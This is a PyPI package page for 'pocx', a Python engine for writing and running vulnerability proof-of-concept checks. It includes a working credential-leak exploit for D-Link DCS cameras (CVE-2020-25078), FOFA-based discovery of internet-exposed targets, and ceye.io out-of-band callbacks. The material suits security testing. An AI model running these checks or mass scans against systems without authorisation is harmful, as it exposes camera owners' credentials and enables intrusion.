pocx
A Simple, Fast and Powerful poc engine tools was built by antx, which support synchronous mode and asynchronous mode.
Description
pocx is a simple, fast and powerful poc engine tools, which support synchronous mode and asynchronous mode. pocx also support some useful features, which like fofa search and parse assets to verify. You also can use smart method to verify some special assets by using ceyeio, which it is cannot return or display the result.
Install
pip3 install pocx
Usage
POC Template
# Title: xxxxxxx
# Author: antx
# Email: 7877940+antx-code@users.noreply.github.com
# CVE: CVE-xxxx-xxxxx
from pocx import BasicPoc, AioPoc
class POC(BasicPoc):
def __init__(self):
self.name = 'poc'
super(POC, self).__init__()
def poc(self, target):
"""
your poc code here.
"""
return
if __name__ == '__main__':
target = 'http://127.0.0.1'
cve = POC()
cve.run(target)
Synchronous Mode Example
# Title: D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078
# Author: antx
# Email: 7877940+antx-code@users.noreply.github.com
# CVE: CVE-2020-25078
from pocx import BasicPoc
from loguru import logger
class DLinkPoc(BasicPoc):
@logger.catch(level='ERROR')
def __init__(self):
self.name = 'D_Link-DCS-2530L'
super(DLinkPoc, self).__init__()
@logger.catch(level='ERROR')
def poc(self, target: str):
poc_url = '/config/getuser?index=0'
try:
resp = self.get(target + poc_url)
if resp.status_code == 200 and 'name=' in resp.text and 'pass=' in resp.text and 'priv=' in resp.text:
logger.success(resp.text)
elif resp.status_code == 500:
logger.error(f'[-] {target} {resp.status_code}')
except Exception as e:
logger.error(f'[-] {target} {e}')
if __name__ == '__main__':
target = 'http://127.0.0.1'
cve = DLinkPoc()
cve.run(target)
Asynchronous Mode Example
# Title: D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078
# Author: antx
# Email: 7877940+antx-code@users.noreply.github.com
# CVE: CVE-2020-25078
from pocx import AioPoc
from loguru import logger
class DLinkPoc(AioPoc):
@logger.catch(level='ERROR')
def __init__(self):
self.name = 'D_Link-DCS-2530L'
super(DLinkPoc, self).__init__()
@logger.catch(level='ERROR')
async def poc(self, target: str):
poc_url = '/config/getuser?index=0'
try:
resp = await self.aio_get(target + poc_url)
if resp.status_code == 200 and 'name=' in resp.text and 'pass=' in resp.text and 'priv=' in resp.text:
logger.success(resp.text)
elif resp.status_code == 500:
logger.error(f'[-] {target} {resp.status_code}')
except Exception as e:
logger.error(f'[-] {target} {e}')
if __name__ == '__main__':
target = 'http://127.0.0.1'
cve = DLinkPoc()
cve.run(target)
Useful Functions
FoFa
# Title: xxxxxxx
# Author: antx
# Email: 7877940+antx-code@users.noreply.github.com
# CVE: CVE-xxxx-xxxxx
from pocx import BasicPoc, AioPoc
from pocx.funcs import Fofa
class POC(BasicPoc):
def __init__(self):
self.name = 'poc'
super(POC, self).__init__()
def poc(self, target):
"""
your poc code here.
"""
return
if __name__ == '__main__':
grammar = 'app="xxxxxx"'
cve = POC()
fofa = Fofa()
fofa.set_config(api_key='xxxxxx', api_email='xxxxxx')
print(f'[+] the asset account of grammar: {grammar} are: {fofa.asset_counts(grammar)}')
pages = fofa.asset_pages(grammar)
for page in range(1, pages + 1):
print(f'[*] page {page}')
assets = fofa.assets(grammar, page)
cve.run(assets)
Ceye
# Title: xxxxxxx
# Author: antx
# Email: 7877940+antx-code@users.noreply.github.com
# CVE: CVE-xxxx-xxxxx
from pocx import BasicPoc, AioPoc
from pocx.funcs import Ceye
class POC(BasicPoc):
def __init__(self):
self.name = 'poc'
super(POC, self).__init__()
self.ceyeio = Ceye()
def poc(self, target):
pid = self.ceyeio.generate_payload_id()
self.ceyeio.set_config(api_token='xxxxxx', identifier='xxxxxx.ceye.io')
"""
your poc code here.
"""
self.ceyeio.verify(pid, 'dns')
return
Proxy
# Title: xxxxxxx
# Author: antx
# Email: 7877940+antx-code@users.noreply.github.com
# CVE: CVE-xxxx-xxxxx
from pocx import BasicPoc, AioPoc
from pocx.funcs import Ceye
class POC(BasicPoc):
def __init__(self):
self.name = 'poc'
super(POC, self).__init__()
self.ceyeio = Ceye()
def poc(self, target):
pid = self.ceyeio.generate_payload_id()
self.ceyeio.set_config(api_token='xxxxxx', identifier='xxxxxx.ceye.io')
self.set_headers({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, '
'like Gecko) Chrome/87.0.4280.88 Safari/537.36'})
proxy = {
'all://': 'http://127.0.0.1:7890',
}
"""
or use httpx support proxy:
proxy = {
'http://': 'http://127.0.0.1:7890',
'https://': 'https://127.0.0.1:7890',
}
"""
self.set_proxies(proxy)
"""
your poc code here.
"""
self.ceyeio.verify(pid, 'dns')
return
if __name__ == '__main__':
target = 'http://127.0.0.1:8888'
cve = POC()
cve.run(target)
Metadata
Release files for pocx 0.2.3
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| pocx-0.2.3.tar.gz | 7.6 kB | Without provenance | Details for pocx-0.2.3.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| pocx-0.2.3-py3-none-any.whl | Python 3 | none | any | Details for pocx-0.2.3-py3-none-any.whl |
Total release size: 16.8 kB
Release files / pocx-0.2.3.tar.gz
| Download URL | pocx-0.2.3.tar.gz |
|---|---|
| Size | 7.6 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
cd2e16df60e66f26fceab782e871674ff6efe94c2b250054a16c4e0e00b77764
|
|
BLAKE2b-256 checksum How to use checksums |
3adb153d1f2a1402611472d5f59322253e723da435346c4a2a406a3d2be3e1b3
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
poetry/1.5.1 CPython/3.11.3 Linux/5.15.114-2-MANJARO
|
Release files / pocx-0.2.3-py3-none-any.whl
| Download URL | pocx-0.2.3-py3-none-any.whl |
|---|---|
| Size | 9.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
fc1413daa854328307d7285a1504c5e9948eca89888b97dc8e355080fd1b959a
|
|
BLAKE2b-256 checksum How to use checksums |
dcb452e800de49e7dc17f04572a14e421d17bebe1eca2372e76fb8d8f9c4c744
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
poetry/1.5.1 CPython/3.11.3 Linux/5.15.114-2-MANJARO
|
Security for pocx 0.2.3
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.